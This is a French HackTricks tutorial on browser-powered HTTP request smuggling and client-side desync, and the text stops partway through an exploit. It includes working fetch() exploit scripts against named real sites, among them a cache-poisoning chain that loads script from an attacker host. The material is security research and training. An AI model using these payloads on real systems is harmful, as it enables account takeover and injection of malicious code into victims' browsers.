# Smuggling de requête HTTP du navigateur
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## CL.0/H2.0 désynchronisation compatible avec le navigateur
Cette vulnérabilité se produit lorsque l'en-tête **Content Length** (CL) est complètement **ignoré** par le **serveur backend**. Ensuite, le backend traite le **corps** comme le **début de la méthode de la deuxième requête**. Ignorer le CL revient à le traiter comme ayant une valeur de 0, il s'agit donc d'une désynchronisation CL.0 - une classe d'attaque [connue](https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defenses-And-New-Challenges.pdf) mais moins explorée.
![](<../../.gitbook/assets/image (3) (1) (2).png>)
L'attaque était possible parce que le serveur backend **n'attendait tout simplement pas une requête POST**.
{% hint style="warning" %}
Notez que cette vulnérabilité est **déclenchée** par une **requête HTTP** tout à fait **valide** et conforme à la spécification. Cela signifie que le **front-end n'a aucune chance de se protéger** contre elle, et elle pourrait même être déclenchée par un navigateur.
{% endhint %}
La seule **différence** entre **CL.0** et **H2.0** est que la deuxième utilise **HTTP2** (qui a un en-tête de longueur implicite) mais que le **backend ne l'utilise pas non plus**.
## Désynchronisation côté client
Les attaques de désynchronisation traditionnelles **empoisonnent** la **connexion** entre un **front-end et un serveur back-end**, et sont donc impossibles sur les sites Web qui n'utilisent pas une architecture front-end/back-end. Ce sont des désynchronisations côté serveur à partir de maintenant. La plupart des désynchronisations côté serveur ne peuvent être déclenchées que par un **client HTTP personnalisé émettant une requête malformée**.
La capacité d'un **navigateur à causer une désynchronisation** permet une toute nouvelle classe de menace appelée **désynchronisation côté client** (CSD).\
Une attaque CSD commence par la **visite de la victime sur le site Web de l'attaquant**, qui fait ensuite envoyer à leur navigateur **deux requêtes inter-domaines vers le site vulnérable**. La **première** requête est conçue pour **désynchroniser la connexion du navigateur** et faire en sorte que la **deuxième requête déclenche** une réponse nuisible, donnant généralement à l'attaquant le contrôle du compte de la victime.
### Détecter
Un vecteur CSD est une requête HTTP avec **deux** propriétés **clés**.
Premièrement, le **serveur doit ignorer le Content-Length (CL) de la requête**. Cela se produit généralement parce que la requête a déclenché une **erreur du serveur**, ou que le serveur n'attendait tout simplement pas une requête POST à l'endpoint choisi. Essayez de cibler les **fichiers statiques** et les **redirections au niveau du serveur**, et de déclencher des erreurs via des **URL trop longues**, et des **URL semi-malformées** comme /%2e%2e.
Deuxièmement, la requête doit être **déclenchable dans un navigateur Web inter-domaines**. Les navigateurs restreignent considérablement le contrôle sur les requêtes inter-domaines, vous avez donc un contrôle limité sur les en-têtes, et si votre requête a un corps, vous devrez utiliser la méthode HTTP POST. En fin de compte, vous ne **contrôlez** que l'**URL**, plus quelques éléments comme l'en-tête **Referer**, le corps et la **dernière partie du Content-Type.**
#### Test d'ignorance de CL
La façon de tester cette configuration incorrecte est d'**envoyer 2 requêtes et de faire passer une** dans le **milieu**. Si la connexion **déviée** a **affecté** la réponse de la **deuxième requête**, cela signifie qu'elle est **vulnérable** :
![](<../../.gitbook/assets/image (1) (2) (2) (1).png>)
{% hint style="warning" %}
Notez que vous ne pouvez pas tester cette vulnérabilité en envoyant simplement un **Content-Length plus grand** que celui envoyé et en **cherchant un délai d'attente** car certains serveurs répondent même s'ils n'ont pas reçu tout le corps.
{% endhint %}
Il est important de noter si le site Web cible prend en charge HTTP/2. Les attaques CSD exploitent généralement la réutilisation de connexion HTTP/1.1 et les navigateurs Web **préfèrent utiliser HTTP/2** chaque fois que possible, donc si le site cible prend en charge HTTP/2, vos attaques sont peu susceptibles de fonctionner. Il y a une **exception** ; certains **proxys avant ne prennent pas en charge HTTP/2** donc vous pouvez exploiter quiconque les utilise. Cela inclut les proxys d'entreprise, certains VPN intrusifs et même certains outils de sécurité.
### Confirmer
Tout d'abord, sélectionnez un site pour lancer l'attaque. Ce site doit être **accessible via HTTPS** et situé sur un **domaine différent de la cible**.
Ensuite, assurez-vous que vous **n'avez pas de proxy configuré**, puis accédez à votre site d'attaque. Ouvrez les **outils de développement** et passez à l'onglet **Réseau**. Pour aider à déboguer les problèmes potentiels plus tard, je recommande de faire les ajustements suivants :
* Sélectionnez la case à cocher **"Conserver le journal"**.
* Cliquez avec le bouton droit de la souris sur les en-têtes de colonne et **activez la colonne "ID de connexion"**.
Passez à la console de développement et exécutez JavaScript pour reproduire votre séquence d'attaque en utilisant fetch(). Cela peut ressembler à quelque chose comme :
```javascript
fetch('https://example.com/', {
method: 'POST',
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
mode: 'no-cors', // ensure connection ID is visible
credentials: 'include' // poison 'with-cookies' pool
}).then(() => {
location = 'https://example.com/' // use the poisoned connection
})
```
J'ai défini le mode de récupération **'no-cors'** pour m'assurer que Chrome **affiche l'ID de connexion** dans l'onglet Réseau. J'ai également défini **credentials: 'include'** car Chrome a [**deux pools de connexions distincts**](https://www.chromium.org/developers/design-documents/network-stack/preconnect) - un pour les requêtes avec des cookies et un pour les requêtes sans. Vous voudrez généralement exploiter les **navigations**, et celles-ci **utilisent le pool 'with-cookies'**, il est donc utile de prendre l'habitude de toujours empoisonner ce pool.
Lorsque vous exécutez cela, vous devriez voir **deux requêtes** dans l'onglet Réseau avec le **même ID de connexion**, et la **deuxième** devrait déclencher un **404** :
![](<../../.gitbook/assets/image (158) (2).png>)
Si cela fonctionne comme prévu, félicitations - vous avez trouvé une désynchronisation côté client !
### Exploitation - Stockage
Une option consiste à identifier une fonctionnalité sur le site cible qui vous permet de **stocker des données textuelles**, et de créer le préfixe de sorte que les cookies, les en-têtes d'authentification ou le mot de passe de votre victime finissent par être **stockés quelque part où vous pouvez les récupérer**. Ce flux d'attaque fonctionne [presque de la même manière que la désynchronisation côté serveur](https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests), donc je ne m'attarderai pas dessus.
### Exploitation - **Chaîne et pivot**
Dans des circonstances normales, de nombreuses classes d'attaques **côté serveur** ne peuvent être lancées que par un attaquant ayant un accès direct au site cible car elles **reposent sur des requêtes HTTP que les navigateurs refusent d'envoyer**, comme la **manipulation** des **en-têtes HTTP** - empoisonnement du cache web, la plupart des désynchronisations côté serveur, les attaques d'en-tête d'hôte, les injections SQL basées sur User-Agent, CSRF JSON Content-type et de nombreuses autres.
Le chemin le plus simple vers une attaque réussie est venu de deux techniques clés généralement utilisées pour les attaques de désynchronisation côté serveur : [**empoisonnement des ressources JavaScript via des redirections d'en-tête d'hôte**](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect), et l'utilisation de la [**méthode HEAD**](https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling#non-blind-request-tunnelling-using-head) pour assembler une réponse avec un HTML malveillant. Les deux techniques ont dû être **adaptées** pour surmonter certains défis novateurs associés à l'exploitation dans le **navigateur de la victime**.
## Exemples d'exploits
### Exemple de HEAD empilé
* **Exploit coloré**
![](<../../.gitbook/assets/image (2) (3).png>)
* **Exploit JS**
```javascript
fetch('https://www.capitalone.ca/assets', {
method: 'POST',
// use a cache-buster to delay the response
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x= HTTP/1.1\r\nX: Y`,
credentials: 'include',
mode: 'cors' // throw an error instead of following redirect
}).catch(() => {
location = 'https://www.capitalone.ca/'
})va
```
Explication :
* **Abus de CL.0** dans /assets (il redirige vers /assets/ et ne vérifie pas le CL)
* **Contrebande** d'une requête **HEAD** (parce que les réponses HEAD contiennent toujours une longueur de contenu)
* **Contrebande** d'une requête **GET** dont le **contenu** va être **réfléchi** dans la réponse avec la charge utile.
* En raison de la **longueur de contenu de la requête HEAD**, la **réponse** de cette requête sera le **corps de la requête HEAD**
* Définir le mode **cors**. Normalement, cela n'est pas fait, mais dans ce cas, la **réponse** du serveur à la **POST** **initiale** est une **redirection** qui, si elle est **suivie**, l'**exploit ne fonctionnera pas**. Par conséquent, le mode **cors** est utilisé pour **déclencher** une **erreur** et **rediriger** la victime avec le **`catch`**.
### **Redirection d'en-tête d'hôte + empoisonnement du cache côté client**
* **Exploit JS**
```javascript
fetch('https://redacted/', {
method: 'POST',
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
credentials: 'include'}
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
```
* Une requête vers `/+webvpn+/` avec un **domaine différent dans l'en-tête Host** est répondue avec une **redirection** vers `/+webvpn+/index.html` vers ce **domaine** dans l'en-tête Host.
* L'emplacement dans la **deuxième** requête est défini sur `/+CSCOE+/win.js` afin de **empoisonner** le **cache** de ce fichier `.js`.
* Cette requête sera répondue avec la redirection de `/+webvpn+/` vers le domaine de l'attaquant avec le chemin `/+webvpn+/index.html`
* Le **cache** de **`win.js`** sera **empoisonné** avec une **redirection** vers la page de l'**attaquant**, mais aussi la **victime** suivra la redirection car elle a été assignée à la variable `location` et finira sur la page web de l'attaquant.
* L'attaquant **redirigera** ensuite la **victime** vers `https://redacted/+CSCOE+/logon.html`. Cette page importera `/+CSCOE+/win.js`. Dont le **cache est une redirection** vers le serveur de l'**attaquant**, par conséquent, l'attaquant peut **répondre avec un code JS malveillant**.
La **victime** accédera à la page de l'**attaquant** **deux fois**, la première fois elle **s'attend à un HTML** qui redirige la victime vers `https://redacted/+CSCOE+/logon.html` et la deuxième fois elle **s'attend à un code javascript** (la charge utile). Un polyglotte peut être utilisé pour servir les deux réponses en une seule :
```
HTTP/1.1 200 OK
Content-Type: text/html
alert('oh dear')/**/
```
### Payload HEAD avec TE chunked
Lors de la recherche de CSD, vous pouvez également **tester des URL semi-malformées** telles que `/..%2f` ou `/%2f`.
* **Exploit en couleur**
![](<../../.gitbook/assets/image (5) (2) (1).png>)
* **Exploit JS**
```javascript
fetch('https://www.verisign.com/%2f', {
method: 'POST',
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'
}}).catch(() => {
let form = document.createElement('form')
form.method = 'POST'
form.action = 'https://www.verisign.com/robots.txt'
form.enctype = 'text/plain'
let input = document.createElement('input')
input.name = '0\r\n\r\nGET /